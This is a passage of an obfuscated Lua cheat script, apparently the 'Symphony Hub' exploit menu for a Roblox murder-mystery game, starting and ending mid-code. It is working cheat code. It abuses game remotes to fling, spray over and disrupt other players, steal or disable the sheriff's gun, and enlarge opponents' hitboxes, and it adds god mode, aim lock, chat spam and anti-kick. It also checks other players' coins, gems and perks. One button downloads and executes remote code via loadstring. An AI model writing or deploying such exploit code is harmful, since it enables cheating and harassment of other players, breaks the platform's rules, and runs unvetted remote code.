yK(nK, "Give Fake Knife", 15, function(o, Y)
z.Event(o.Remote, 15093138669, Enum.NormalId.Right, 3, Y.Character.RightHand, Y.Character.RightHand.CFrame * CFrame.new(0, 0, 0))
z.Event(o.Remote, 15093138669, Enum.NormalId.Right, 3, Y.Character.RightHand, Y.Character.RightHand.CFrame * CFrame.new(0, 0, 0))
z.Event(o.Remote, 15093138669, Enum.NormalId.Right, 3, Y.Character.RightHand, Y.Character.RightHand.CFrame * CFrame.new(0, 0, 0))
z.Event(o.Remote, 15096522641, Enum.NormalId.Left, 3, Y.Character.RightHand, Y.Character.RightHand.CFrame * CFrame.new(0, 0, 0))
z.Event(o.Remote, 15096522641, Enum.NormalId.Left, 3, Y.Character.RightHand, Y.Character.RightHand.CFrame * CFrame.new(0, 0, 0))
z.Event(o.Remote, 15096522641, Enum.NormalId.Left, 3, Y.Character.RightHand, Y.Character.RightHand.CFrame * CFrame.new(0, 0, 0))
end)
nK:CreateParagraph("Ghost", "This feature only last \049\053 seconds.")
nK:CreateButton("Ghost Yourself", function()
sK(function(o)
local Y = h(D)
local j = Y.CFrame
Y.CFrame = CFrame.new(-110, 140, 10)
z.Event(o.Remote, 0, Enum.NormalId.Front, 2500, Y, CFrame.new(0, -25000, 0))
z.Event(o.Remote, 0, Enum.NormalId.Front, 2500, Y, CFrame.new(0, 25000, 0))
if TCF then
o.Parent = D.Backpack
end
repeat
task.wait()
until workspace:FindFirstChild("Spray")
workspace.Spray:Destroy()
repeat
task.wait()
until workspace:FindFirstChild("Spray")
workspace.Spray:Destroy()
Y.CFrame = j
end)
end)
yK(nK, "Sus Fling", 15, function(o, Y)
z.Event(o.Remote, 0, Enum.NormalId.Back, 10, Y.Character.LeftHand, (h(Y)).CFrame * CFrame.new(10, 5, 0))
end)
else
nK:CreateParagraph("Note", "This channel is for <font color=\"rgb(\050\053\053, \048, \048)\">Content Creators</font> only, if you want to get access here you should showcase <font color=\"rgb(\048, \050\053\053, \048)\">Symphony Hub</font> in <font color=\"rgb(\050\053\053, \048, \048)\">YouTube</font> first and verify into our <font color=\"rgb(\048, \050\053\053, \048)\">Discord Server</font>")
end
if b then
nK:CreateSection("Content Creators")
for o = 1, # b, 1 do
local Y = b[o]
nK:CreateProfileMessage("rbxthumb://type=AvatarHeadShot&id=" .. (Y.Id .. "&w=\049\048\048&h=\049\048\048"), Y.Username .. (" [ <font color=\"rgb(\048, \050\053\053, \048)\">" .. (Y.DisplayName .. "</font> ]")), "# " .. o)
end
end
if H then
wK:CreateSection("FPS Booster")
wK:CreateButton("Fps Boost", function()
for o, Y in pairs(workspace:GetDescendants()) do
pcall(function()
if Y:IsA("BasePart") and (not Y.Parent:FindFirstChild("Humanoid") and not Y.Parent.Parent:FindFirstChild("Humanoid")) then
Y.Material = Enum.Material.SmoothPlastic
if Y:IsA("Texture") then
Y:Destroy()
end
end
end)
end
end)
wK:CreateButton("Less Lag", function()
local o = workspace:FindFirstChildOfClass("Terrain")
o.WaterWaveSize = 0
o.WaterWaveSpeed = 0
o.WaterReflectance = 0
o.WaterTransparency = 0
C.GlobalShadows = false
C.FogEnd = 9000000000
end)
wK:CreateSection("Statistics")
wK:CreateToggle("Auto Delete Dead Body", function(o)
N.AutoDeleteDeadBody = o
if o then
(coroutine.wrap(function()
while N.AutoDeleteDeadBody do
task.wait(.25)
pcall(function()
if workspace:FindFirstChild("Raggy") then
workspace.Raggy:Destroy()
end
end)
end
return coroutine.yield("...")
end))()
end
end)
wK:CreateToggle("Disable Trap", function(o)
N.DisableTrap = o
if o then
(coroutine.wrap(function()
while N.DisableTrap do
task.wait(.25)
pcall(function()
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
for o, Y in pairs(workspace[Y.Name]:GetChildren()) do
if Y.Name == "Trap" and Y:IsA("Model") then
Y:Destroy()
end
end
end
end
end)
end
return coroutine.yield("...")
end))()
end
end)
wK:CreateParagraph("Disable Trap!", "only affect others trap perk")
wK:CreateToggle("Btools", function(o)
if o then
local o = Instance.new("HopperBin")
local Y = Instance.new("HopperBin")
local j = Instance.new("HopperBin")
local Z = Instance.new("HopperBin")
local t = Instance.new("HopperBin")
o.BinType = "Clone"
o.Parent = D.Backpack
Y.BinType = "GameTool"
Y.Parent = D.Backpack
j.BinType = "Hammer"
j.Parent = D.Backpack
Z.BinType = "Script"
Z.Parent = D.Backpack
t.BinType = "Grab"
t.Parent = D.Backpack
N.Premium.Btoolspack = {
o,
Y;
j,
Z,
t
}
else
for o = 1, # N.Premium.Btoolspack, 1 do
N.Premium.Btoolspack[o]:Destroy()
end
end
end)
wK:CreateButton("F\051X Btools", function()
(loadstring((game:GetObjects("rbxassetid://\054\054\057\053\054\052\052\050\057\057"))[1].Source))()
end)
wK:CreateButton("Replicate Toys", function()
for o = 1, # K, 1 do
z.Function(A.Remotes.Extras.ReplicateToy, K[o])
task.wait()
z.Function(A.Remotes.Extras.ReplicateToy, K[o])
end
end)
wK:CreateButton("Get All Emotes and Toys", function()
local o = {}
for Y, j in pairs(U) do
if j ~= "wave" and (j ~= "cheer" and j ~= "laugh") then
table.insert(o, j)
end
end;
(require(j)).GeneratePage(o, D.PlayerGui.MainGUI.Game:FindFirstChild("Emotes"), "Symphony Hub\'s Premium Emotes \049/\051");
(require(j)).GeneratePage({
"Teddy";
"IceCream";
"ChocolateMilk";
"Fireflies";
"Pizza";
"CandyToy\050\048\050\050",
"FakeBomb"
}, D.PlayerGui.MainGUI.Game:FindFirstChild("Emotes"), "Symphony Hub\'s Premium Emotes \050/\051");
(require(j)).GeneratePage({
"GGSign",
"EggToy\050\048\050\051",
"SprayPaint"
}, D.PlayerGui.MainGUI.Game:FindFirstChild("Emotes"), "Symphony Hub\'s Premium Emotes \051/\051")
end)
wK:CreateButton("Force Spawn", function()
local o = h(D)
N.ForceSpawn = true
N.ForceSpawnCFrame = o.CFrame
D.Character.Humanoid.Health = 0
end)
wK:CreateToggle("Auto Rotate", function(o)
D.Character.Humanoid.AutoRotate = not o
end)
wK:CreateToggle("Teleport Tool", function(o)
if o then
local o = Instance.new("Tool")
o.Name = "Teleport Tool"
o.RequiresHandle = false
o.Parent = D.Backpack
o.Activated:Connect(function()
m(D, "CFrame", e.Hit)
end)
else
LK("Teleport Tool")
end
end)
wK:CreateToggle("Toggle Anti-AFK", function(o)
if o then
x:MakeTask("Anti AFK", D.Idled, function()
S:ClickButton2(Vector2.new())
end)
else
x:RemoveTask("Anti AFK")
end
end)
wK:CreateToggle("Toggle Anti Fling", function(o)
N.AntiFling = o
if o then
x:MakeTask("Anti Fling Handler", G.Heartbeat, function()
if N.AntiFling then
pcall(function()
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and N.AntiFling then
local o = h(Y)
if Y.Character and o then
if o.AssemblyAngularVelocity.Magnitude > 50 or o.AssemblyLinearVelocity.Magnitude > 100 then
for o, Y in pairs(Y.Character:GetChildren()) do
if Y:IsA("BasePart") then
Y.CanCollide = false
Y.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
Y.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
Y.CustomPhysicalProperties = PhysicalProperties.new(.1, .1, .1)
end
end
end
end
end
end
if D.Character.PrimaryPart.AssemblyLinearVelocity.Magnitude > 250 or D.Character.PrimaryPart.AssemblyAngularVelocity.Magnitude > 250 then
D.Character.PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
D.Character.PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
D.Character.PrimaryPart.CFrame = N.LastPosition
elseif D.Character.PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or D.Character.PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then
N.LastPosition = D.Character.PrimaryPart.CFrame + CFame.new(0, 1, 0)
end
end)
end
end)
else
x:RemoveTask("Anti Fling Handler")
end
end)
wK:CreateToggle("Toggle Anti Kick", function(o)
N.AntiKick = o
end)
wK:CreateToggle("Toggle Anti Void", function(o)
if o then
x:MakeTask("Anti Void", G.Heartbeat, function()
pcall(function()
local o = (h(D)).CFrame.Y
if Y <= -465 then
D.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end)
end)
else
x:RemoveTask("Anti Void")
end
end)
wK:CreateToggle("Toggle Double Jump", function(o)
if o then
x:SetValue("LastJump", false)
task.spawn(function()
x:MakeTask("Double Jump", t.JumpRequest, function()
pcall(function()
if not x:GetValue("Last Jump") then
x:SetValue("Last Jump", true)
D.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
end)
end)
end)
D.Character.Humanoid.StateChanged:Connect(function(o, Y)
if Y == Enum.HumanoidStateType.Landed then
x:SetValue("Last Jump", false)
elseif Y == Enum.HumanoidStateType.Jumping then
x:SetValue("Last Jump", false)
end
end)
x:MakeTask("Double Jump Character", D.CharacterAdded, function()
task.wait(.25)
D.Character.Humanoid.StateChanged:Connect(function(o, Y)
if Y == Enum.HumanoidStateType.Landed then
x:SetValue("Last Jump", false)
elseif Y == Enum.HumanoidStateType.Jumping then
x:SetValue("Last Jump", false)
end
end)
end)
else
x:RemoveTask("Double Jump Character")
x:RemoveTask("Double Jump")
x:SetNil("Last Jump")
end
end)
local Z = wK:CreateSlider("Fov", 1, 100, 75, function(o)
workspace.CurrentCamera.FieldOfView = tonumber(o)
end)
wK:CreateButton("Reset Fov", function()
Z:SetValue(75)
workspace.CurrentCamera.FieldOfView = 75
end)
wK:CreateToggle("Two Lives", function(o)
N.SecondLife = o
if o then
(coroutine.wrap(function()
while N.SecondLife do
wait()
pcall(function()
local o = D.Character.Humanoid
if o.Health <= 0 then
o:ChangeState(11)
wait(2.5)
o.Health = 100
wait(1)
o:ChangeState(1)
end
end)
end
end))()
end
end)
wK:CreateParagraph("Two Lives!", "makes you invincible when you shooted random Innocent or you got shooted by sheriff or or you got thrown/stabbed a knife by the murderer, This only works once every round this might have a chance to make this won\'t work.")
wK:CreateToggle("Float", function(o)
N.Float = o
c.CanCollide = o
if o then
(coroutine.wrap(function()
while N.Float do
task.wait()
pcall(function()
c.CFrame = (h(D)).CFrame * CFrame.new(0, -3, 0)
end)
end
return coroutine.yield("...")
end))()
end
end)
wK:CreateButton("Fake Dead", function()
if D.Character then
local o = h(D)
D.Character.Humanoid.Sit = true
o.CFrame = o.CFrame * CFrame.new(0, 3.5, 0)
end
end)
wK:CreateToggle("Toggle Spam Chat", function(Y)
N.Loop = Y
if Y then
(coroutine.wrap(function()
while N.Loop do
task.wait(.25)
pcall(function()
task.wait(N.LoopDelay)
z.Event(o, N.LoopText, N.AlwaysAliveChat and "alive" or "normalchat")
end)
end
return coroutine.yield("...")
end))()
end
end)
wK:CreateTextbox("Text to Spam", function(o)
N.LoopText = tostring(o)
end)
local r = wK:CreateSlider("Text to Spam Delay", 1, 100, 1, function(o)
N.SpamDelay = tonumber(o) and tonumber(o) / 100 or .1
end)
wK:CreateToggle("Toggle Hitbox", function(o)
if o then
x:MakeTask("Hitbox", G.RenderStepped, function()
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and Y.Character then
Y.Character.HumanoidRootPart.Size = Vector3.new(N.HitboxSize, N.HitboxSize, N.HitboxSize)
Y.Character.HumanoidRootPart.Transparency = .4
Y.Character.HumanoidRootPart.CanCollide = false
end
end
end)
else
x:RemoveTask("Hitbox")
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and Y.Character then
Y.Character.HumanoidRootPart.Size = Vector3.new(2, 1, 1)
Y.Character.HumanoidRootPart.Transparency = 1
Y.Character.HumanoidRootPart.CanCollide = true
end
end
end
end)
local T = wK:CreateSlider("Hitbox Size", 1, 25, 5, function(o)
N.HitboxSize = tonumber(o) or 5
end)
wK:CreateButton("God Mode", function()
local o = workspace.CurrentCamera.CFrame
local Y = D.Character
local j = Y.Humanoid
local Z = j:Clone()
Z.Parent = D.Character
D.Character = nil
Z.Name = "Humanoid"
Z.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
Z.Health = 100
Z:SetStateEnabled(15, false)
Z:SetStateEnabled(1, false)
Z:SetStateEnabled(0, false)
Z.BreakJointsOnDeath = true
j:Destroy()
D.Character = Y
workspace.CurrentCamera.CameraSubject = Z
workspace.CurrentCamera.CFrame = o
local t = Y.Animate
t.Disabled = true
task.wait()
t.Disabled = false
D.CharacterAdded:Wait()
end)
wK:CreateParagraph("God Mode!", "was like similar to Two Lives but different.")
wK:CreateToggle("Aim Lock Murderer", function(o)
if o then
x:SetValue("Aiming", true)
x:MakeTask("Aim Lock Murderer", G.Heartbeat, function()
if x:GetValue("Aiming") then
pcall(function()
local o = V(q.Murderer)
if h(o) and (l(o) and x:GetValue("Aiming")) then
local Y = (h(o)).Position
workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.Position, Y)
end
end)
end
end)
else
x:SetNil("Aiming")
end
end)
wK:CreateKeybind("Place Trap", Enum.KeyCode.R, function()
if u("Trap") then
z.Function(A.TrapSystem.PlaceTrap, (h(D)).CFrame)
else
B("Uh oh! you need Trap Perks for this!")
end
end)
wK:CreateToggle("Trap Aura", function(o)
if o then
if u("Trap") then
x:SetValue("Trap Aura Value", true)
x:MakeTask("Trap Aura", G.Stepped, function()
pcall(function()
if x:GetValue("Trap Aura Value") then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and x:GetValue("Trap Aura Value") then
local o = ((h(Y)).Position - (h(D)).Position).Magnitude
if o <= tonumber(N.TrapDistance) then
z.Function(A.TrapSystem.PlaceTrap, (h(Y)).CFrame)
end
end
end
end
end)
end)
else
B("Uh oh! you need Trap Perks for this!")
end
else
x:SetNil("Trap Aura Value")
x:RemoveTask("Trap Aura")
end
end)
local J = wK:CreateSlider("Trap Distance", 1, 999, 30, function(o)
N.TrapDistance = tonumber(o) or 30
end)
wK:CreateToggle("Click Place Trap", function(o)
if o then
if u("Trap") then
x:MakeTask("Touch Place Trap", t.InputBegan, function(o, Y)
if Y then
return
end
if o.UserInputType == Enum.UserInputType.MouseButton1 or o.UserInputType == Enum.UserInputType.Touch then
z.Function(A.TrapSystem.PlaceTrap, e.Hit)
end
end)
else
B("Uh oh! you need Trap Perks for this!")
end
else
x:RemoveTask("Touch Place Trap")
end
end)
wK:CreateToggle("Enable Place Trap Bindable Button", function(o)
if o then
if u("Trap") then
UK("Place Trap", {
OriginalName = "Place Trap",
Position = UDim2.new(1, -550, 0, -190);
Callback = function()
z.Function(A.TrapSystem.PlaceTrap, (h(D)).CFrame)
end
})
else
B("Uh oh! you need Trap Perks for this!")
end
else
rK("Place Trap")
end
end)
wK:CreateButton("Make Circle Trap", function()
if u("Trap") then
for o = 1, 10, 1 do
z.Function(A.TrapSystem.PlaceTrap, CFrame.new((h(D)).Position + 3 * Vector3.new(math.cos(((2 * math.pi) / 10) * o), 0, math.sin(((2 * math.pi) / 10) * o))))
end
else
B("Uh oh! you need FakeGun Perks for this!")
end
end)
wK:CreateKeybind("Make Circle Trap", Enum.KeyCode.U, function()
if u("Trap") then
for o = 1, 10, 1 do
z.Function(A.TrapSystem.PlaceTrap, CFrame.new((h(D)).Position + 3 * Vector3.new(math.cos(((2 * math.pi) / 10) * o), 0, math.sin(((2 * math.pi) / 10) * o))))
end
else
B("Uh oh! you need FakeGun Perks for this!")
end
end)
wK:CreateToggle("Enable Make Circle Trap Bindable Button", function(o)
if o then
if u("Trap") then
UK("Make Circle Trap", {
OriginalName = "MCT",
Position = UDim2.new(1, -550, 0, -140);
Callback = function()
for o = 1, 10, 1 do
z.Function(A.TrapSystem.PlaceTrap, CFrame.new((h(D)).Position + 3 * Vector3.new(math.cos(((2 * math.pi) / 10) * o), 0, math.sin(((2 * math.pi) / 10) * o))))
end
end
})
else
B("Uh oh! you need Trap Perks for this!")
end
else
rK("Make Circle Trap")
end
end)
wK:CreateButton("Get Fake Gun", function()
if u("FakeGun") then
z.Event(A.Remotes.Gameplay.FakeGun, true)
else
B("Uh oh! you need FakeGun Perks for this!")
end
end)
wK:CreateKeybind("Get Fake Gun", Enum.KeyCode.H, function()
if u("FakeGun") then
z.Event(A.Remotes.Gameplay.FakeGun, true)
else
B("Uh oh! you need FakeGun Perks for this!")
end
end)
wK:CreateToggle("Enable Get Fake Gun Bindable Button", function(o)
if o then
if u("FakeGun") then
UK("Get Fake Gun", {
OriginalName = "GFG",
Position = UDim2.new(1, -500, 0, -140),
Callback = function()
z.Event(A.Remotes.Gameplay.FakeGun, true)
end
})
else
B("Uh oh! you need FakeGun Perks for this!")
end
else
rK("Get Fake Gun")
end
end)
wK:CreateSection("Server Sided")
wK:CreateToggle("Fake Gun Rain", function(o)
N.FakeGunRain = o
if o then
if u("FakeGun") then
(coroutine.wrap(function()
while N.FakeGunRain do
task.wait()
z.Event(A.Remotes.Gameplay.FakeGun, true)
if N.X3Drop then
z.Event(A.Remotes.Gameplay.FakeGun, true)
z.Event(A.Remotes.Gameplay.FakeGun, true)
end
end
end))();
(coroutine.wrap(function()
while N.FakeGunRain do
task.wait()
if D.Character then
local o = YK()
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == o then
j.Parent = workspace
end
end
for Y, j in pairs(D.Backpack:GetChildren()) do
if j.Name == o then
j.Parent = D.Character
j.Parent = workspace
end
end
end
end
end))()
else
B("Uh oh! you need FakeGun Perks for this!")
end
end
end)
wK:CreateToggle("Fake Gun Rain Lobby", function(o)
N.FakeGunRainLobby = o
if o then
if u("FakeGun") then
local o = tick()
local Y = h(D)
local j = Instance.new("BodyGyro")
local Z = CFrame.new(-110, 150, 25)
N.LastPos = Y.CFrame
j.Name = "BodyGyro_Rain"
j.Parent = D.Character.Head
j.P = 90000
j.MaxTorque = Vector3.new(9000000000, 9000000000, 9000000000)
j.CFrame = Y.CFrame * CFrame.Angles(math.rad(-90), 0, math.rad(-90))
m(D, "CFrame", Z * CFrame.Angles(math.rad(-90), 0, math.rad(-90)));
(coroutine.wrap(function()
while N.FakeGunRainLobby do
task.wait()
if D.Character then
local Y = ((o - tick()) * 2 + ((1 * math.pi) * 15) * 3) % (2 * math.pi)
local j = math.sin(Y) * 10
local t = math.cos(Y) * 10
m(D, "CFrame", (Z * CFrame.new(j, 0, t)) * CFrame.Angles(math.rad(-90), 0, math.rad(-90)))
end
end
end))();
(coroutine.wrap(function()
while N.FakeGunRainLobby do
task.wait()
z.Event(A.Remotes.Gameplay.FakeGun, true)
if N.X3Drop then
z.Event(A.Remotes.Gameplay.FakeGun, true)
z.Event(A.Remotes.Gameplay.FakeGun, true)
end
end
end))();
(coroutine.wrap(function()
while N.FakeGunRainLobby do
task.wait()
if D.Character then
local o = YK()
for Y, j in pairs(D.Character:GetChildren()) do
if j.Name == o then
j.Parent = workspace
end
end
for Y, j in pairs(D.Backpack:GetChildren()) do
if j.Name == o then
j.Parent = D.Character
j.Parent = workspace
end
end
end
end
end))()
else
B("Uh oh! you need FakeGun Perks for this!")
end
else
if D and (D.Character and (D.Character.Head and D.Character.Head:FindFirstChild("BodyGyro_Rain"))) then
(D.Character.Head:FindFirstChild("BodyGyro_Rain")):Destroy()
task.wait(.25)
local o = h(D)
o.CFrame = N.LastPos
end
end
end)
wK:CreateToggle("X\051 Drop", function(o)
N.X3Drop = o
end)
wK:CreateButton("Drop Fake Gun", function()
if u("FakeGun") then
if D.Character then
local o = YK()
local Y = false
z.Event(A.Remotes.Gameplay.FakeGun, true)
repeat
task.wait()
for j, Z in pairs(D.Character:GetChildren()) do
if Z.Name == o then
Y = true
end
end
until Y
D.Character[o].Parent = workspace
end
else
B("Uh oh! you need FakeGun Perks for this!")
end
end)
wK:CreateKeybind("Drop Fake Gun", Enum.KeyCode.V, function()
if u("FakeGun") then
if D.Character then
local o = YK()
local Y = false
z.Event(A.Remotes.Gameplay.FakeGun, true)
repeat
task.wait()
for j, Z in pairs(D.Character:GetChildren()) do
if Z.Name == o then
Y = true
end
end
until Y
D.Character[o].Parent = workspace
end
else
B("Uh oh! you need FakeGun Perks for this!")
end
end)
wK:CreateToggle("Enable Drop Fake Gun Bindable Button", function(o)
if o then
if u("FakeGun") then
UK("Drop Fake Gun", {
OriginalName = "Drop Gun",
Position = UDim2.new(1, -450, 0, -190);
Callback = function()
if u("FakeGun") then
if D.Character then
local o = YK()
local Y = false
z.Event(A.Remotes.Gameplay.FakeGun, true)
repeat
task.wait()
for j, Z in pairs(D.Character:GetChildren()) do
if Z.Name == o then
Y = true
end
end
until Y
D.Character[o].Parent = workspace
end
else
B("Uh oh! you need FakeGun Perks for this!")
end
end
})
else
B("Uh oh! you need FakeGun Perks for this!")
end
else
rK("Drop Fake Gun")
end
end)
wK:CreateParagraph("Fake Gun Rain!", "requires a godly gun.")
wK:CreateButton("Break Gun", function()
local o = V(q.Sheriff)
if o and o.Name ~= g then
local Y = false
for o, j in pairs(o.Backpack:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
if not Y then
for o, j in pairs(o.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local o, j = pcall(function()
z.Function(Y.KnifeServer.ShootGun, 0, CFrame.new(), "AH")
end)
if j and not o then
I("<font color=\"rgb(\048, \050\053\053, \048)\">Successfully</font> Breaked the gun from <font color=\"rgb(\048, \048, \050\053\053)\">Sheriff</font>!")
end
end
end
end)
wK:CreateKeybind("Break Gun", Enum.KeyCode.J, function()
local o = V(q.Sheriff)
if o and o.Name ~= g then
local Y = false
for o, j in pairs(o.Backpack:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
if not Y then
for o, j in pairs(o.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local o, j = pcall(function()
z.Function(Y.KnifeServer.ShootGun, 0, CFrame.new(), "AH")
end)
if j and not o then
I("<font color=\"rgb(\048, \050\053\053, \048)\">Successfully</font> Breaked the gun from <font color=\"rgb(\048, \048, \050\053\053)\">Sheriff</font>!")
end
end
end
end)
wK:CreateToggle("Enable Break Gun Bindable Button", function(o)
if o then
UK("Break Gun", {
OriginalName = "Break Gun",
Position = UDim2.new(1, -600, 0, -190);
Callback = function()
local o = V(q.Sheriff)
if o and o.Name ~= g then
local Y = false
for o, j in pairs(o.Backpack:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
if not Y then
for o, j in pairs(o.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local o, j = pcall(function()
z.Function(Y.KnifeServer.ShootGun, 0, CFrame.new(), "AH")
end)
if j and not o then
I("<font color=\"rgb(\048, \050\053\053, \048)\">Successfully</font> Breaked the gun from <font color=\"rgb(\048, \048, \050\053\053)\">Sheriff</font>!")
end
end
end
end
})
else
rK("Break Gun")
end
end)
wK:CreateToggle("Auto Break Gun", function(o)
if o then
x:MakeTask("Auto Break Gun", G.Stepped, function()
local o = V(q.Sheriff)
if o and o.Name ~= g then
local Y = false
for o, j in pairs(o.Backpack:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
if not Y then
for o, j in pairs(o.Character:GetChildren()) do
if j.Name == "Gun" and j:IsA("Tool") then
Y = j
end
end
end
if Y then
local o, j = pcall(function()
z.Function(Y.KnifeServer.ShootGun, 0, CFrame.new(), "AH")
end)
if j and not o then
I("<font color=\"rgb(\048, \050\053\053, \048)\">Successfully</font> Breaked the gun from <font color=\"rgb(\048, \048, \050\053\053)\">Sheriff</font>!")
end
end
end
end)
else
x:RemoveTask("Auto Break Gun")
end
end)
wK:CreatePlayerDropdown("Check Player Coins", function(o)
local Y = (z.Function(A.Remotes.Extras.GetFullInventory, o)).Coins;
(coroutine.wrap(I))(o.Name .. (" Got <font color=\"rgb(\050\048\048, \050\048\048, \050\048\048)\">" .. (oK(Y) .. (" (" .. (Y .. ") Coins.</font>")))))
end)
wK:CreatePlayerDropdown("Check Player Gems", function(o)
local Y = (z.Function(A.Remotes.Extras.GetFullInventory, o)).Gems;
(coroutine.wrap(I))(o.Name .. (" Got <font color=\"rgb(\050\048\048, \050\048\048, \050\048\048)\">" .. (oK(Y) .. (" (" .. (Y .. ") Gems.</font>")))))
end)
wK:CreatePlayerDropdown("Check Player Perks", function(o)
local Y = z.Function(A.Remotes.Extras.GetFullInventory, o)
local j, Z = Y.Perks.Owned, ""
for o = 1, # j, 1 do
if Z == "" then
Z = Z .. j[o]
else
if o == # j then
Z = Z .. (" and " .. j[o])
else
Z = Z .. (", " .. j[o])
end
end
end;
(coroutine.wrap(I))(o.Name .. (" has " .. (Z .. " Perks.")))
end)
wK:CreateSection("Toy Modification")
wK:CreateToggle("Infinite Fireflies", function(o)
if o then
x:MakeTask("Infinite Fireflies", G.RenderStepped, function()
if D and (D.Character and D.Character:FindFirstChild("Fireflies")) then
(getsenv(D.Character.Fireflies.Client)).Fireflies = math.huge
end
end)
else
x:RemoveTask("Infinite Fireflies")
if D and (D.Character and D.Character:FindFirstChild("Fireflies")) then
(getsenv(D.Character.Fireflies.Client)).fireflies = 7
end
end
end)
wK:CreateToggle("No Fireflies Cooldown", function(o)
if o then
x:MakeTask("No Fireflies Cooldown", G.RenderStepped, function()
if D and (D.Character and D.Character:FindFirstChild("Fireflies")) then
(getsenv(D.Character.Fireflies.Client)).check = true
end
end)
else
x:RemoveTask("No Fireflies Cooldown")
end
end)
wK:CreateSection("Spray Paint")
wK:CreateToggle("Spray Paint Immunity", function(o)
if o then
x:MakeTask("Spray Paint Immunity", workspace.ChildAdded, function(o)
if o.Name == "Spray" then
task.wait()
for o, Y in pairs(workspace:GetChildren()) do
if Y.Name == "Spray" then
Y:Destroy()
end
end
end
end)
else
x:RemoveTask("Spray Paint Immunity")
end
end)
wK:CreateButton("Steal Gun", function()
local o = V(q.Sheriff)
if o and o.Character then
sK(function(Y)
local j = h(o)
if j then
local o = 0
z.Event(Y.Remote, 0, Enum.NormalId.Right, 10, j, CFrame.new(0, - math.huge, 0))
repeat
task.wait()
o = o + 1
until workspace:FindFirstChild("GunDrop") or o >= 25
task.spawn(function()
if workspace:FindFirstChild("GunDrop") and not x:GetValue("Grabbing") then
local o = (h(D)).CFrame
x:SetValue("Grabbing", true)
x:MakeTask("Grab Gun", G.Heartbeat, function()
if x:GetValue("Grabbing") then
m(D, "CFrame", workspace.GunDrop.CFrame)
D.Character.Humanoid.PlatformStand = false
end
end)
repeat
task.wait()
until not workspace:FindFirstChild("GunDrop")
x:RemoveTask("Grab Gun")
m(D, "CFrame", o)
x:SetNil("Grabbing")
D.Character.Humanoid.PlatformStand = false
D.Character.Humanoid:ChangeState(1)
end
end)
end
end)
end
end)
wK:CreateButton("Black Lobby", function()
sK(function(o)
for Y, j in pairs(workspace.Lobby:GetDescendants()) do
task.wait()
if j:IsA("BasePart") or j:IsA("Part") then
z.Event(o.Remote, 14787385911, Enum.NormalId.Top, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Front, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Bottom, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Right, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Left, 9999, j, j.CFrame)
z.Event(o.Remote, 14787385911, Enum.NormalId.Back, 9999, j, j.CFrame)
end
end
end)
end)
yK(wK, "Camera Shake", 15, function(o, Y)
local j = Y.Character:FindFirstChild("Head")
if j then
z.Event(o.Remote, 0, Enum.NormalId.Front, 8, j, j.CFrame * CFrame.new(0, 1.5, 0))
end
end)
yK(wK, "Give Hallow", 15, function(o, Y)
local j = h(Y)
if j then
for Y = 1, 10, 1 do
z.Event(o.Remote, 17618294446, Enum.NormalId.Top, 2, j, j.CFrame * CFrame.new(0, 2.5 + Y / 100, 0))
z.Event(o.Remote, 17618294446, Enum.NormalId.Bottom, 2, j, j.CFrame * CFrame.new(0, 2.5 + Y / 100, 0))
end
end
end)
yK(wK, "Slickback", 15, function(o, Y)
local j = Y.Character:FindFirstChild("LeftLowerArm")
local Z = Y.Character:FindFirstChild("RightLowerArm")
if j and Z then
z.Event(o.Remote, 0, Enum.NormalId.Front, 10000, j, j.CFrame * CFrame.new(0, 0, -1))
z.Event(o.Remote, 0, Enum.NormalId.Front, 10000, Z, Z.CFrame * CFrame.new(0, 0, -1))
end
end)
yK(wK, "Spoof Role Text", 15, function(o, Y)
local j = Y.Character:FindFirstChild("Head")
if j then
z.Event(o.Remote, q.Murderer == Y.Name and 17528040335 or q.Sheriff == Y.Name and (not q.Hero and 17528079377) or q.Sheriff == Y.Name and (q.Hero and 17528057967) or 17528011613, Enum.NormalId.Front, 5.5, j, j.CFrame * CFrame.new(0, 1.5, 0))
z.Event(o.Remote, q.Murderer == Y.Name and 17528040335 or q.Sheriff == Y.Name and (not q.Hero and 17528079377) or q.Sheriff == Y.Name and (q.Hero and 17528057967) or 17528011613, Enum.NormalId.Back, 5.5, j, j.CFrame * CFrame.new(0, 1.5, 0))
end
end)
yK(wK, "Floor Clip", 15, function(o, Y)
local j = Y.Character:FindFirstChild("RightHand")
if j then
z.Event(o.Remote, 0, Enum.NormalId.Front, 2500, j, CFrame.new(0, -25000, 0))
z.Event(o.Remote, 0, Enum.NormalId.Front, 2500, j, CFrame.new(0, 25000, 0))
end
end)
yK(wK, "Box", 15, function(o, Y)
local j = h(Y)
if j then
local Y = j.CFrame
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Top, 6, j, Y * CFrame.new(0, 3, 0))
z.Event(o.Remote, N.BoxSprayId, Enum.NormalId.Bottom, 6, j, Y * CFrame.new(0, 3.15, 0))
